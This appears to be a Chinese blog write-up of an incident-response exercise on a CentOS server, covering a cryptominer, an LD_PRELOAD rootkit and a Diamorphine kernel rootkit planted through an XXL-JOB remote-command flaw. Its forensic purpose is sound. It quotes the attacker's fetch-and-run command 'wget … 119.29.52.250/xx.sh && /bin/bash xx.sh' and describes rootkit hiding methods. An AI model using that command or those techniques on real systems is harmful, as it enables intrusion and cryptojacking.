记录某次“有趣的“挖矿木马排查

news2024/11/14 13:53:39

挖矿木马是什么?

挖矿木马是一种恶意软件,它在用户不知情或未经同意的情况下,利用受害者的计算机资源进行加密货币挖矿。这类软件通过执行大量运算来挖掘数字货币,如比特币或门罗币等。挖矿木马通常通过漏洞利用、弱口令爆破或非法应用传播等手段植入用户的计算机系统中。

挖矿木马对受害者的影响主要表现在以下几个方面:

  1. 资源消耗:挖矿木马会占用大量的CPU或GPU资源,导致计算机运行缓慢,影响正常使用。

  2. 电费增加:由于挖矿需要大量电力,受害者可能会面临电费的异常增加。

  3. 系统安全风险:挖矿木马可能会携带其他恶意软件,增加系统被进一步攻击的风险。

挖矿木马的攻击形式与其他类型的木马相似,但获利方式不同。它们通过加密货币的挖矿来获得利益,即使在加密货币价格下跌的情况下,其收益可能依然高于其他如DDoS服务或加密勒索等获利方式,挖矿木马的攻击趋势和加密货币的价格并没有明显的关联。即使在某些加密货币价格下跌的情况下,挖矿木马的攻击数量并没有显著减少,这表明攻击者更看重挖矿木马的隐蔽性和较低的法律风险,针对Windows服务器的挖矿木马占据大多数,因为服务器性能较高且疏于看管,但针对个人电脑的挖矿木马也不容忽视,挖矿木马的清理和防护需要采取一系列措施,包括隔离受感染主机、阻断异常网络通信、清除计划任务、检查并清除异常动态链接库、删除可疑SSH公钥以及使用安全工具进行系统风险排查和加固。总的来说,挖矿木马是一种严重的网络安全威胁,需要用户和企业提高警惕,采取有效的安全措施进行防范和应对。

动态链接器劫持rootkit?

动态链接器劫持rootkit是一种恶意软件技术,它利用了Linux系统中的动态链接库(Dynamic Link Library,DLL)预加载机制来隐藏其存在和行为。这种技术允许攻击者在程序启动前指定额外的共享库,这些共享库中的函数可以覆盖或包装(wrap)程序原本的函数调用。通过这种方式,rootkit可以隐藏进程、文件、网络连接等,使得系统管理员难以发现其存在。

具体来说,动态链接器劫持涉及到以下几个关键点:

  1. LD_PRELOAD环境变量:这是一个环境变量,可以指定在程序运行前优先加载的动态链接库。通过设置这个环境变量,可以加载一个恶意的动态链接库,从而劫持程序的行为。

  2. /etc/ld.so.preload配置文件:这个配置文件也可以用来指定在程序启动时预加载的动态链接库。如果这个文件被篡改,可以导致恶意的动态链接库被加载。

  3. 全局符号介入:在动态链接库中,如果存在与程序中调用的库函数同名的全局符号,那么预加载的全局符号会覆盖后面加载的同名符号,从而实现劫持。

  4. 隐藏进程和TCP连接:通过劫持如opendirreaddir这样的系统函数,rootkit可以控制对/proc目录的访问,从而隐藏特定的进程或TCP连接信息。

  5. 检测和处置:可以使用工具如strace来追踪系统命令的加载情况,或者使用busybox执行命令来避免被劫持的命令影响。处置方法可能包括清除被篡改的环境变量或配置文件,删除恶意的动态链接库文件,以及使用相同系统的相同版本动态链接器替换被修改的动态链接器。

这种技术是rootkit常用的手段之一,目的是在不被系统管理员发现的情况下维持对系统的控制。根据搜索结果中提供的信息,以下是相关的索引编号:

  • 1:提供了关于Linux库文件劫持的概述和原理,以及利用方式和检测处置方法。

  • 2:解释了动态链接库函数劫持的原理,并给出了一个简单的示例。

  • 3:讨论了如何利用预加载动态链接库来隐藏进程或TCP连接,这是rootkit技术的一部分。

  • 5:简要介绍了Linux内核级rootkit技术,虽然不是直接关于动态链接器劫持,但提供了rootkit的背景信息。

  • 6:对rootkit进行了概述,说明了它是一种技术,而不是特定的恶意软件。

/var/log/secure日志文件记录什么?

/var/log/secure日志文件在基于Red Hat的Linux发行版(如CentOS、RHEL等)中通常用于记录与安全相关的信息。这个日志文件包含了系统的认证信息,例如用户登录尝试、权限变更、系统安全事件等。以下是/var/log/secure日志文件可能包含的一些内容:

  1. 用户登录和注销:记录所有用户的登录和注销活动,包括成功和失败的尝试。

  2. 密码更改:记录用户更改密码的活动。

  3. 权限变更:记录用户权限变更的事件,如使用sudo命令执行操作。

  4. 系统启动和关闭:记录系统的启动和关闭事件。

  5. SSH活动:记录通过SSH服务进行的所有连接尝试,包括来自何处的连接、连接是否成功、使用的认证方法等。

  6. 防火墙和SELinux事件:记录防火墙规则变更和SELinux安全策略违规事件。

  7. 系统警告和错误:记录系统生成的警告和错误信息,可能与安全相关。

  8. 服务和守护进程的启动和停止:记录关键服务和守护进程的启动和停止事件。

  9. 审计日志:如果系统配置了审计(auditd),相关的审计事件也会被记录在这个日志中。

由于/var/log/secure日志文件包含了大量的敏感信息,因此它对于系统管理员来说非常重要,可以帮助他们监控和分析系统的安全状况。同时,它也是安全审计和事故响应过程中的关键资源。

请注意,不同的Linux发行版可能会有不同的日志文件命名约定和配置。例如,在基于Debian的系统(如Ubuntu)中,安全日志可能被记录在/var/log/auth.log文件中。因此,具体查看哪个日志文件,需要根据你所使用的操作系统和配置来确定。


场景说明:

某客户由于网络管理员个人失误,将某应用服务器的80、9999端口对外开放。2023年04月06日,运维人员收到主机CPU性能告警,且通过流量设备监测到主机有外联矿池的行为。由于运维人员应急响应水平有限,对服务器进行了一次重启,使得“案发现场”遭收到一定程度的破坏。但发现主机被添加了后门账户 tomcat。

事件分析过程

1、根据场景描述,应⽤服务器的80、9999端⼝对外开放。查看端⼝信息,发现80端⼝对应nginx服务,9999端⼝
对应xxl-job执⾏器进程,猜测攻击者很⼤概率使⽤了xxl-job的远程命令执⾏漏洞获取服务器权限:

图片

注:XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令

图片

2、使⽤top等命令查看进程,未发现占⽤CPU过⾼的进程,怀疑攻击者使⽤了 mount bind、动态链接器劫持、替换操作系统命令等⼿法对进程进⾏了隐藏:

图片

1.Mount Bind(文件系统挂载绑定)
在操作系统中,`mount bind` 是一种挂载技术,它允许你将一个文件或目录挂载到另一个位置,使得你可以在两个不同的地方访问相同的数据。这在创建一个临时的文件系统视图或者进行文件系统操作时非常有用。挂载绑定通常通过 `mount` 命令的 `--bind` 参数实现。
例如,以下命令将目录 /source 挂载到 /target:
mount --bind /source /target
这意味着对 `/target` 的任何更改都会反映在 `/source` 上,因为它们实际上是同一个文件系统对象。

2.动态链接器劫持(Dynamic Linker Hijacking)
动态链接器劫持是一种恶意软件攻击技术,它通过替换或修改程序运行时依赖的共享库来执行恶意代码。在Unix和Linux系统中,程序在运行时会使用动态链接器(如ld.so)来加载共享库。
攻击者通过将恶意的共享库文件放置在程序的搜索路径前面,使得程序加载时优先找到并使用了这个恶意的共享库,而不是真正的系统库。这样,当程序运行时,实际上是在执行攻击者的代码。
例如,攻击者可能会创建一个名为 libcrypto.so.1.1 的恶意共享库文件,并将其放置在程序的 LD_LIBRARY_PATH 环境变量指定的路径中。当依赖这个库的程序运行时,由于 LD_LIBRARY_PATH中的路径会被优先搜索,程序可能会加载并执行这个恶意的 libcrypto.so.1.1 文件,而不是系统中正常的库文件。

3、使⽤busybox执⾏top命令,成功发现挖矿进程,对应的挖矿程序为“/tmp/kdevtmpfsi”:

busybox 安装
wget  https://busybox.net/downloads/busybox-1.31.0.tar.bz2 --no-check-certificate  (如果报错,根据报错信息在让你加什么参数就加上去)
tar -xjvf busybox-1.31.0.tar.bz2
cd busybox-1.31.0/ 
make defconfig && make install
vi /etc/profile   (添加 export PATH=/root/busybox-1.31.0/_install/bin:$PATH )
source /etc/profile

图片

4、查看挖矿程序落地时间信息,发现为 2023-04-07 02:33:04 前后,明显与2023年04⽉06⽇发现挖矿相关告警的
信息不符合,猜测挖矿程序进⾏了⾃更新等:busybox ls -al /tmp/

图片

5、同样使⽤busybox,发现挖矿⽊⻢守护程序 "/etc/kinsing" ,落地时间为“2023-04-06 18:33:29”:

busybox netstat -anltp

图片

图片

守护程序的判断:pstree工具
pstree命令是用于查看进程树之间的关系,即哪个进程是父进程,哪个是子进程,可以清楚的看出来是谁创建了谁
守护进程的行为特征:守护进程通常具有自我恢复的特性,即如果主挖矿进程被终止,守护进程会重新启动它。您可以观察可疑进程的行为,尝试终止它并看它是否会自我重启。
1.进程监控:使用如 pstree 这样的工具来查看进程树,这有助于识别可疑进程的父进程和子进程,守护进程可能会监控挖矿进程及其子进程。
(pstree命令是用于查看进程树之间的关系,即哪个进程是父进程,哪个是子进程,可以清楚的看出来是谁创建了谁)
2.定时任务和服务检查:检查系统计划任务(如使用 crontab -l)和服务(如使用 systemctl list-unit-files),看是否有未知或可疑的定时任务或服务,这些可能是守护进程设置的。
3.网络连接分析:守护进程可能会与外部服务器(如C2服务器)保持通信。使用 netstat -anp | grep PID 查看与可疑进程相关的网络连接。
4.文件和路径分析:检查可疑进程的可执行文件路径,使用 ls -l /proc/PID/exe 来找到实际的文件路径。挖矿木马的守护程序可能会存放在不寻常的位置。
5.进程持久性:守护进程可能会通过修改系统设置实现自启动。检查系统的自启动项,如启动脚本、系统服务等。
6.系统资源监控:守护进程可能会占用一定的系统资源来维持其运行,监控CPU和内存使用情况,看是否有异常。
7.日志文件审查:查看系统日志文件,如 /var/log/syslog 或 /var/log/messages,可能会发现守护进程的启动和运行痕迹。
8.反向DNS查询:对可疑进程建立的网络连接进行反向DNS查询,以确定连接的域名和服务器。
9.威胁情报平台:利用威胁情报平台查询可疑进程的IP地址和域名,看它们是否有恶意行为的历史记录。

6、检查系统的 LD_PRELOAD 环境变量以及 /etc/ld.so.preload ⽂件,确认是否使⽤了动态链接器劫持的⼿法对进程实现隐藏。发现了异常的动态链接库⽂件"/etc/libsystem.so",落地时间为“2023-04-06 18:33:30”:

检查系统的 LD_PRELOAD 环境变量:busybox echo $LD_PRELOAD

图片

检查/etc/ld.so.preload ⽂件: busybox cat /etc/ld.so.preload

图片

发现异常动态链接库⽂件"/etc/libsystem.so"落地时间 busy stat /etc/libsystem.so:

图片

检查/etc/ld.so.preload ⽂件落地时间:busybox stat /etc/ld.so.preload

图片

7、检查系统的定时任务,包括/etc/cron.d/、/etc/crontab等⽬录以及⽂件,发现 “/var/spool/cron/root” ⽂件存在异常定时任务,⽂件修改时间为“2023-04-06 18:38:43”:

图片

8、检查cron⽇志,发现执⾏的定期任务发⽣过改变,猜测是挖矿⽊⻢进⾏过版本更新,或者是两批次的挖矿⽊
⻢。从命令的编写⻛格来看,偏向第⼀种可能性,第⼀次定期任务执⾏时间为 Apr 6 18:34:01:

图片

9、再检查挖矿⽊⻢是否采⽤了开机启动的⽅式进⾏持久化,先确认了涉事服务器为 CentOS 7版本,init系统为
systemd:

图片

图片

10、因此,可针对性的去检查systemd系统的驻留点,例如/usr/lib/systemd/system/等⽬录。按时间对systemd系统的相关⽬录进⾏时间排序,发现异常⾃启动项bot.service,⽤于启动挖矿⽊⻢守护程序。修改时间为“2023-04-06 18:33:31”:

图片

图片

图片

11、对⼿头的信息以时间为主线进⾏整理:

时间loCS
2023-4-6 18:33:29/etc/kinsing(挖矿木马守护程序)
2023-04-06 18:33:30/etc/libsystem.so(动态链接器劫持rootkit)
2023-4-6 18:33:31/etc/systemd/system/multi-user.target.wants/bot.service(挖矿木马守护程序开启启动文件)
2023-4-6 18:34:01/var/log/cron(第一次异常定时任务执行时间)
2023-4-6 18:38:43/var/spool/cron/root(定时任务文件修改时间)
2023-4-7 02:33:04/tmp/kdevtmpfsi(挖矿程序)

可以看到,攻击者最先落地挖矿⽊⻢守护程序/etc/kinsing到服务器,并且建⽴开机启动项、计划任务等持久化。后来由于挖矿程序进⾏了⾃更新,定时任务⽂件修改时间和挖矿程序发⽣过改变(判断是否为⾃更新发⽣的改变,可以进⾏逆向分析或者上传IoCs到沙箱,确认IoCs是否属于同⼀挖矿⽊⻢家族)。

溯源

1、最开始提到,系统开放了80、9999端⼝到互联⽹。9999端⼝已经确认为xxl-job的执⾏器,如果版本低于
2.2.0,则存在未授权的远程命令执⾏漏洞。80端⼝为nginx,充当代理服务器的功能,将流量转发到8090的业务
端⼝,以及8080的xxl-job-admin管理控制台:

图片

cat default.conf |less

图片

2、查看进程,发现xxl-job-admin和xxl-job-executor,是以jar包的形式启动的Web服务,且只有xxl-job-admin
服务被nginx转发,可能记录到web access⽇志:

图片

图片

3、分析nginx⽇志,发现存在异常互联⽹ IP 50.7.158.106(⽇本 东京都 东京)的访问记录:

cat /var/log/nginx/access.log

图片

4、该 IP 从 06/Apr/2023:18:46:38开始,对服务器进⾏了⼤量的⽬录爆破尝试。但该时间点明显晚于前⾯所说
的/etc/kinsing(挖矿⽊⻢守护程序)落地时间2023-04-06 18:33:29:

图片

5、登录xxl-job-admin前台,发现存在默认⼝令(admin/123456),发现异常任务:

图片

6、查看任务详情,发现存在反弹shell的执⾏记录:

图片

7、查看异常任务的调度⽇志:
8、发现被执⾏器执⾏过的脚本会存放在“/data/applogs/xxl-job/jobhandler/gluesource/”⽬录(也可通过官⽹⼿
册了解到):

图片

9、查看“/data/applogs/xxl-job/jobhandler/gluesource/”⽬录,发现存在两个被xxl-job执⾏器执⾏过的脚本。
其中1_1586699003758.sh的⽂件内容于/var/log/cron⽇志中发现的异常定时任务基本⼀致,脚本修改时间为
2023-04-06 18:33:15。由此可以确定,攻击者利⽤了xxl-job的漏洞,获取服务器权限后,于2023-04-06 18:33:15
执⾏的“wget -q -o - 119.29.52.250/xx.sh && /bin/bash xx.sh”命令,植⼊挖矿⽊⻢。⽽另⼀个被xxl-job执⾏器执
⾏过的脚本内容为反弹shell,落地时间为2023-04-06 18:55:30,与nginx access⽇志中互联⽹ IP 50.7.158.106
(⽇本 东京都 东京)的访问记录相近,猜测存在两个攻击者先后对服务器进⾏了攻击:

图片

10、但1_1586699003758.sh脚本的执⾏记录没有在后台“任务管理”以及nginx⽇志中留存记录,猜测攻击者是直
接对执⾏器的9999端⼝进⾏的漏洞利⽤,⽽不是利⽤xxl-job-admin进⾏任务下发。对猜想进⾏复现:

图片

11、发现命令成功执⾏,⽽且1_1586699003758.sh被覆盖,由此可以证实,攻击者确实是直接利⽤xxl-job执⾏器的9999端⼝的未授权远程命令执⾏漏洞(参考:https://vulhub.org/#/environments/xxl-job/unacc/ )植入了挖矿⽊⻢。⽽且⾃动化的⼀键getshell以及⾃动化的⼀键植⼊确实更符合挖矿⽊⻢团伙的特点:

⾄此,挖矿⽊⻢相关的分析到此结束。

图片

图片

后⻔账户事件

1、题⽬中还提到,管理员发现系统被植⼊了tomcat后⻔账户。⽽且前⾯分析挖矿⽊⻢时,发现存在攻击者⼿⼯
(先⽬录爆破、再默认⼝令登录、再下发命令执⾏脚本)对80端⼝进⾏了渗透,然后反弹shell。从⾏为上来看,
与⾃动化程度较⾼的挖矿⽊⻢团伙⻛格存在较⼤差异,猜测为⼈为的针对性⼊侵。

2、先检查/var/log/secure⽇志,发现tomcat后⻔⽤户于Apr 7 02:32:00被添加。⽽恰好在last⽇志中发现,管理员在Fri Apr 7 02:31进⾏过⼀次服务器的重启(题⽬中给出),并于Fri Apr 7 02:32进⾏了ssh登录:

图片

图片

3、由此,猜测⿊客留存了⼀个后⻔⽂件⽤于添加后⻔⽤户tomcat,并设置了开机启动,或者由登录这个动作触发执⾏。
4、检查/etc/profile等⽂件,未发现异常的Unix shell 配置。
5、前⾯检查systemd开机启动驻留点时,也未发现其他异常的开机启动项。
7、尝试使⽤find命令全盘搜索⽂件内容包含tomcat关键字的⽂件,⽆果。
8、由此,猜测可能是开机启动项中存在某个⽂件被攻击者使⽤了rootkit进⾏隐藏。Linux常⻅的rootkit为动态链
接器劫持型,以及LKM型。动态链接器劫持已经排除,因此开始检查LKM类型的rootkit。
9、可加载内核模块(Loadable Kernel Modules,LKM)是可以根据需要加载和卸载到内核中的代码⽚段。它们
⽆需重启系统即可扩展内核的功能,例如设备驱动程序。默认情况下,modprobe 尝试从/lib/modules/<kernel_version>/kernel/ ⽬录加载模块。某些模块具有依赖性,即在加载相关模块之前必
须加载的其他内核模块。模块依赖项列表由 depmod 程序⽣成和维护,该程序会在安装内核或驱动程序包时⾃动运⾏。depmod 程序将依赖项列表保存在 /lib/modules/<kernel_version>/modules.dep ⽂件中。modprobe 命令在执⾏操作时总是读取 modules.dep ⽂件。当您要求 modprobe 加载特定内核模块时,它⾸先检查该模块的依赖项,如果它们尚未加载到内核中则加载它们。
10、因此,先检查/lib/modules/<kernel_version>/modules.dep ⽂件,发现修改时间为2023-04-06 19:09:10。
11、查看⽂件结尾,记录的内核模块为kernel/diamorphine.ko:</kernel_version></kernel_version></kernel_version>

图片

12、对应⽂件为/lib/modules/3.10.0-1127.el7.x86_64/kernel/diamorphine.ko,⽂件修改时间为“2023-04-06 19:08:37”:

图片

13、对⽂件进⾏提取,并使⽤沙箱进⾏分析,以及进⾏互联⽹搜索,发现对应的github项⽬为——https://github.com/m0nad/Diamorphine
14、项⽬⽂档指出的卸载⽅法如下:

图片

15、将驱动⽂件卸载后,再次对开机启动项等地⽅进⾏检查,发现异常启动项:

图片

16、对secret_adduser.service服务进⾏确认,发现调⽤了/tmp/secret_adduser.sh脚本,脚本实现的功能正是添
加tomcat⽤户。diamorphine.ko驱动模块的作⽤就是对系统中secret_前缀的⽂件进⾏隐藏,所以在未卸载驱动
前,⽆法发现/usr/lib/systemd/system/secret_adduser.service⽂件。

图片

图片

17、另外,驱动模块⽂件想在引导过程中实现⾃启动的话(管理员重启了⼀次服务器,diamorphine.ko驱动模块仍能⾃⾏启动),不同操作系统下存在不同的⽅式,对于 CentOS 7 系统版本,官⽹给出的⽅式是为驱动创建配置⽂件/etc/modules-load.d/<module_name>.conf。因此,如果驱动对⾃身⽂件/lib/modules/3.10.0-1127.el7.x86_64/kernel/diamorphine.ko进⾏隐藏,⽆法正常提取⽂件时,可以尝试先删除⾃启动项,再重启机器进⾏提取,甚⾄使⽤LiveCD进⾏提取:</module_name>

图片

18、⾄此,后⻔账户事件分析完毕。

思路图谱

图片

命令合集

netstat -anoltp :查看端口信息

ps aux|grep 1613 :过滤出与 1613 相关的进程信息

busybox top :打开"任务管理器"

busybox ls -al /tmp/ :查看目录下程序落地时间信息

cat filename :查看文件内容

stat filename 显示文件信息

感悟与总结

在进行挖矿木马排查的过程中,确实,命令的使用只是手段,而排查的思路和方法才是关键。面对复杂的网络安全问题,一个清晰的思路能够帮助我们快速定位问题,制定出有效的排查策略。首先,我们需要了解挖矿木马的常见行为特征。挖矿木马通常会消耗大量的系统资源,如CPU和内存,以执行加密货币挖矿操作。因此,排查的第一步往往是监控系统资源的使用情况。使用如`top`、`htop`等工具可以快速查看哪些进程正在消耗大量的资源,这为我们提供了初步的线索。我们需要对可疑进程进行深入分析。通过`ps`命令查看进程详细信息,使用`lsof`查看进程打开的文件和网络连接,以及使用`netstat`分析网络连接状态,都是排查过程中不可或缺的步骤。这些命令能够帮助我们进一步确认进程的性质,以及它们是否与外部挖矿服务器有通信。此外,日志分析也是排查过程中的重要环节。通过分析系统日志文件,如`/var/log/auth.log`、`/var/log/syslog`等,我们可以寻找到异常登录尝试、权限变更等行为的记录。这些信息对于构建攻击时间线、理解攻击者的行动模式至关重要。在排查过程中,我们还需要考虑系统的完整性。使用如`chkrootkit`、`rkhunter`等工具检查系统是否被植入了后门或rootkit,确保系统的安全性。最后,攻击者画像的构建需要我们综合考虑各种信息。通过分析攻击者的行为模式、使用的技术和工具,以及攻击的目的,我们可以构建出一个攻击者的大致轮廓。这不仅有助于我们更好地理解攻击,也为未来的安全防护提供了方向。在整个排查过程中,保持耐心和细致是非常重要的。每一个小的细节都可能是解决问题的关键。同时,持续学习和更新知识也是必不可少的,因为网络安全是一个不断发展变化的领域,新的攻击技术和手段层出不穷。总之,挖矿木马排查不仅仅是使用命令那么简单,它需要我们具备系统的安全知识、敏锐的洞察力和严谨的逻辑思维。通过不断的实践和学习,我们可以提高排查的效率和准确性,为客户提供更为专业和负责的服务。

更多网络安全优质免费学习资料与干货教程加v

送渗透工具、技术文档、书籍,面试题、视频(基础到进阶。环境搭建,HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等)、应急响应笔记、学习路线。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1966018.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

探索电商 API 接口的创新应用与接入技巧

在当今数字化的商业环境中&#xff0c;电商 API 接口已成为推动业务增长和创新的关键因素。它们不仅为企业提供了与电商平台高效交互的途径&#xff0c;还开启了无数创新应用的可能性。本文将深入探讨电商 API 接口的创新应用&#xff0c;并分享一些实用的接入技巧&#xff0c;…

python---为某个项目使用虚拟环境

目录 为什么要为项目建立虚拟环境建立步骤打开终端&#xff08;Terminal&#xff09;进入项目文件夹所在目录该目录下创建虚拟环境激活新建的虚拟环境安装本项目所需要的库 过程完整截图未来再次使用本虚拟环境先导航到项目目录然后激活虚拟环境 为什么要为项目建立虚拟环境 为…

Excel 通过函数实现数据透视表

函数技巧演示系列。深入介绍 Excel 函数的使用技巧。 本篇通过函数的方式&#xff0c;实现数据透视表&#xff0c;部分函数需要 Office 2021版本或者 Office 365 版。 示例数据 要求&#xff1a;基于产品名称&#xff08;E列&#xff09;和销售渠道&#xff08;G列&#xff09…

代码随想录——买卖股票最佳时机Ⅲ(Leetcode 123)

题目链接 动态规划 动态规划思路&#xff1a; 确定dp数组以及下标的含义 一天一共就有五个状态&#xff0c; 没有操作 &#xff08;其实我们也可以不设置这个状态&#xff09;第一次持有股票第一次不持有股票第二次持有股票第二次不持有股票 dp[i][j]中 i表示第i天&#xf…

医院综合绩效核算系统,绩效核算系统源码,采用springboot+avue+MySQL技术开发,可适应医院多种绩效核算方式。

一、系统概述 作为医院用综合绩效核算系统&#xff0c;系统需要和his系统进行对接&#xff0c;按照设定周期&#xff0c;从his系统获取医院科室和医生、护士、其他人员工作量&#xff0c;对没有录入信息化系统的工作量&#xff0c;绩效考核系统设有手工录入功能&#xff08;可…

论文速递|Management Science 6月文章合集

编者按&#xff1a; 在本系列文章中&#xff0c;我们梳理了运筹学顶刊MSOM在2024年6月份发布的7篇文章的基本信息&#xff0c;旨在帮助读者快速洞察行业最新动态。 文章1 题目 Promotional Inventory Displays: An Empirical Analysis Using IoT Data促销库存展示&#xff1…

dubbo调用知多少?

一 dubbo超时时间的设置 定义&#xff1a;这里说的超时&#xff0c;是针对dubbo provider调用方来说的&#xff0c;比如提供方执行需要3秒&#xff0c;设置了超时时间1秒&#xff08;默认&#xff09;&#xff0c;则consumer调用方会报超时错误&#xff0c;但实际上服务提供方…

抖音短视频矩阵管理:就靠它,让运营更高效

在数字化时代&#xff0c;短视频已成为连接创作者与观众的重要桥梁。抖音作为全球领先的短视频平台&#xff0c;汇聚了海量的创作者和用户。然而&#xff0c;随着个人或品牌账号的增多&#xff0c;如何高效地管理这些抖音短视频矩阵&#xff0c;成为了一个亟待解决的问题。本文…

气膜游乐园:孩子们的新乐园—轻空间

随着科技的发展和人们对健康、安全娱乐环境的重视&#xff0c;气膜建筑逐渐成为游乐休闲项目中的新选择。作为这种创新建筑的一种应用形式&#xff0c;气膜游乐园正在越来越多地受到家庭和孩子们的欢迎。它不仅提供了一个安全、舒适的玩乐空间&#xff0c;还创造了丰富多样的活…

什么牌子的洗地机好用?推荐多款质量好洗地机的品牌

近些年大家对家庭生活环境的舒适和健康越来越重视&#xff0c;然而家务活的种类繁多&#xff0c;每次都要耗费大量的时间和精力&#xff0c;就拿擦地来说&#xff0c;每次都需要先扫地&#xff0c;再擦地&#xff0c;然后中间可能还要多次洗拖布等&#xff0c;十分繁琐。 因此…

数据分析:两组数据的T检验power评估

禁止商业或二改转载&#xff0c;仅供自学使用&#xff0c;侵权必究&#xff0c;如需截取部分内容请后台联系作者! 介绍 功效分析&#xff08;power analysis&#xff09;是在实验设计阶段进行的&#xff0c;用于确定在给定的效应量、显著性水平和样本大小下&#xff0c;实验能…

mysql进阶语法

mysql高阶语句 高级语法的查询语句 先创建库和表 排序语法&#xff0c;关键字排序 升序和降序 默认的排序方式就是降序 升&#xff1a;ASC 降序&#xff1a;DESC 配合&#xff1a;order by语法 降序排列&#xff1a;要指定列 select * from 数字 多个列升序 如果以…

三星电子推出性能更强、容量更大的升级版1TB microSD 存储卡

microSD 存储卡 PRO Plus 和 EVO Plus 采用三星先进的 V-NAND 技术&#xff0c;可安全可靠地捕捉和存储日常瞬间 性能提升后&#xff0c;顺序读取速度高达 180MB/s&#xff0c;传输速度达 160MB/s&#xff0c;可轻松处理较大文件 韩国首尔--2024年7月31日--三星电子宣布推出1…

中职软件测试实训室

在当今信息化高速发展的时代&#xff0c;软件作为信息技术的核心&#xff0c;其质量直接关系到用户的使用体验和企业的市场竞争力。因此&#xff0c;软件测试作为保障软件质量的重要环节&#xff0c;越来越受到业界的重视。为了满足社会对软件测试人才的需求&#xff0c;中职教…

springboot闲置图书分享boot--论文源码调试讲解

第2章 程序开发技术 2.1 Mysql数据库 开发的程序面向用户的只是程序的功能界面&#xff0c;让用户操作程序界面的各个功能&#xff0c;那么很多人就会问&#xff0c;用户使用程序功能生成的数据信息放在哪里的&#xff1f;这个就需要涉及到数据库的知识了&#xff0c;一般来说…

object的defineProperty与Proxy对比

Object.defineProperty 循环执行Object.defineProperty方法遍历对象的每一个属性&#xff0c;给每一个属性增加get和set方法&#xff0c;使得我们在读取和设置属性值的时候都会被Vue给监听到&#xff0c;从而去做一些其他的操作。 代码示例&#xff1a; let obj {a:1,b:2,c:…

善于运用facebook自动化规则,将节省你50%的时间

许多facebook广告投手都会花大量时间在盯盘看数据上&#xff0c;从而导致没有太多时间和精力去做广告素材的优化&#xff0c;其实常规的一些数据盯盘都可以交给facebook自动化规则&#xff0c;包括增减预算&#xff0c;暂停广告等&#xff0c;合理运用自动化规则&#xff0c;可…

前端必知必会-html表单元素

文章目录 HTML 表单元素HTML <form> 元素<input> 元素<label> 元素<select> 元素<option> 元素定义一个可选择的选项。<textarea> 元素<button> 元素<fieldset> 和 <legend> 元素<datalist> 元素<output> 元…

Aker ASA引领行业变革,旗下互联网投融资平台重磅起航

全球领先的海洋科技公司 Aker ASA 正式宣布,将于近期推出其全新的互联网海洋产业投融资平台。这一平台的推出标志着Aker ASA在海洋资源开发和投融资领域的又一重大进展,旨在为投资者提供创新、可靠的投资机会,同时推动海洋产业的可持续发展。 Aker ASA 作为行业内的领导者,以其…

开源AI智能名片O2O商城微信小程序在顾客价值链优化中的应用与探索

摘要&#xff1a;随着信息技术的飞速发展&#xff0c;顾客的消费行为模式正经历着前所未有的变革。在这一背景下&#xff0c;开源AI智能名片O2O商城微信小程序作为一种创新的营销与服务平台&#xff0c;正逐步成为企业连接顾客、优化顾客价值链的重要工具。本文旨在探讨开源AI智…